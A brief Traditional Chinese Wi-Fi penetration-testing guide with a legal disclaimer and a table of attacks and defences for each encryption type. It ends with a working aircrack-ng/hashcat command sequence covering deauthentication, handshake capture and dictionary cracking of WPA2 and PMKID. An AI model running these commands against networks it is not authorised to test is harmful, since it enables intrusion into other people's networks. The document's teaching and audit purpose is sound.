未經書面授權破解、嘗試連接他人無線網路屬違法 (中華民國刑法第 359 條「無故入侵他人電腦或相關設備罪」、第 360 條「取得/傳遞駭客工具罪」、資通安全管理法)。本文僅供授權滲透測試、CTF、教學實驗、自家網路安全自查使用。
| 加密類型 | 攻擊手法 | 可行性 (現代環境) | 防禦 |
|---|---|---|---|
| Open (無加密) | 直接關聯 | 極高 | 勿使用 |
| WEP | 統計攻擊 (FMS/KoreK/PTW) + ARP Replay 注入收集 IVs → Aircrack-ng 破解 | 極高 (分鐘級) | 棄用,升級 WPA2/WPA3 |
| WPA/WPA2-PSK | 離線字典/彩虹表/規則攻擊 (捕獲 4-way Handshake → Hashcat/aicrack-ng) | 視密碼複雜度 (弱密碼分鐘級,強密碼不可行) | 長度≥20 高熵值 PSK、禁用 WPS、啟用 PMF (802.11w) |
| WPA3-SAE | Side-channel (Dragonblood) / 暴力破解 (需線上互動、易被速率限制) | 極低 | 啟用 WPA3、禁用過渡模式、固件更新 |
| WPS PIN | Reaver/Bully 暴力破解 8 位 PIN (含校驗碼實際 10^4 空間) | 高 (鎖定機制可繞過) | 徹底關閉 WPS |
| Enterprise 802.1X | EAP 降級/中間人 (EAP-MD5/LEAP/PEAPv0-MSCHAPv2) → 密碼雜湊破解 | 中 (視 EAP 類型/憑證驗證) | EAP-TLS (雙向憑證)、伺服器憑證驗證、NAC/姿態評估 |
airmon-ng start wlan0 → wlan0mon。airodump-ng wlan0mon → 記錄 BSSID、Channel、ESSID。airodump-ng -c <ch> --bssid <BSSID> -w capture wlan0mon。aireplay-ng -0 10 -a <BSSID> -c <Client MAC> wlan0mon。aircrack-ng capture-01.cap 顯示「WPA handshake: xx:xx:xx:xx:xx:xx」。hashcat -m 2500 -a 0 capture.hccapx rockyou.txt -r rules/best64.rule 或 aircrack-ng -w rockyou.txt capture-01.cap。hcxdumptool 捕獲 PMKID (無需客戶端連線) → hashcat -m 16800 破解。